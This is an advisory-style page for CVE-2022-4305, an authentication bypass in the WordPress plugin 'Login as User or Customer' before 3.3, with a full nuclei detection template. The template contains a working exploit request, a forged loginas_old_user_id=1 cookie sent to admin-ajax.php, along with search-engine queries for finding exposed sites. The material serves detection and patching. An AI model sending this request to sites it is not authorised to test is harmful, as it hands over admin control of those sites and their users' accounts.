CVE-2022-4305· wp-buy / login as user or customer \(user switching\)· CWE-269
Login as User or Customer < 3.3 - Privilege Escalation
criticalseverity
9.8CVSS score
38.6%likelihood of exploitation, next 30 days
99%of all CVEs are less likely
Readycheck to confirm it
The plugin lacks authorization checks to ensure that users are allowed to log in as another one, which could allow unauthenticated attackers to obtain a valid admin session.
Impact
Unauthenticated attackers can obtain valid admin sessions by exploiting missing authorization checks in the Login as User or Customer plugin, potentially gaining complete control over the WordPress site and all user accounts.
Fix
Fixed in version 3.3
How to confirm it
Send: GET /wp-admin/admin-ajax.php?action=loginas_return_admin ; GET /wp-admin/users.php
Positive when: status_code_2 == 200 and contains(header_2, "text/html") and contains(body_2, 'Edit Profile') && contains(body_2, 'All Posts')Run it with nuclei: nuclei -id CVE-2022-4305 -u <target>
The full check
id: CVE-2022-4305
info:
name: Login as User or Customer < 3.3 - Privilege Escalation
author: r3Y3r53
severity: critical
description: |
The plugin lacks authorization checks to ensure that users are allowed to log in as another one, which could allow unauthenticated attackers to obtain a valid admin session.
impact: |
Unauthenticated attackers can obtain valid admin sessions by exploiting missing authorization checks in the Login as User or Customer plugin, potentially gaining complete control over the WordPress site and all user accounts.
remediation: |
Fixed in version 3.3
reference:
- https://wpscan.com/vulnerability/286d972d-7bda-455c-a226-fd9ce5f925bd
- https://nvd.nist.gov/vuln/detail/CVE-2022-4305
- https://github.com/cyllective/CVEs
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2022-4305
cwe-id: CWE-269
epss-score: 0.38625
epss-percentile: 0.98591
cpe: cpe:2.3:a:wp-buy:login_as_user_or_customer_\(user_switching\):*:*:*:*:*:wordpress:*:*
metadata:
verified: true
max-request: 2
vendor: wp-buy
product: login_as_user_or_customer_\(user_switching\)
framework: wordpress
shodan-query: http.html:/wp-content/plugins/login-as-customer-or-user
fofa-query: body=/wp-content/plugins/login-as-customer-or-user
publicwww-query: /wp-content/plugins/login-as-customer-or-user
tags: cve,cve2022,wpscan,wordpress,wp-plugin,wp,login-as-customer-or-user,auth-bypass,wp-buy,vuln
http:
- raw:
- |
GET /wp-admin/admin-ajax.php?action=loginas_return_admin HTTP/1.1
Host: {{Hostname}}
Cookie: loginas_old_user_id=1
- |
GET /wp-admin/users.php HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- status_code_2 == 200
- contains(header_2, "text/html")
- contains(body_2, 'Edit Profile') && contains(body_2, 'All Posts')
condition: andReferences
- https://wpscan.com/vulnerability/286d972d-7bda-455c-a226-fd9ce5f925bd
- https://nvd.nist.gov/vuln/detail/CVE-2022-4305
- https://github.com/cyllective/CVEs
Use this check only on systems you are authorised to test. Where the data comes from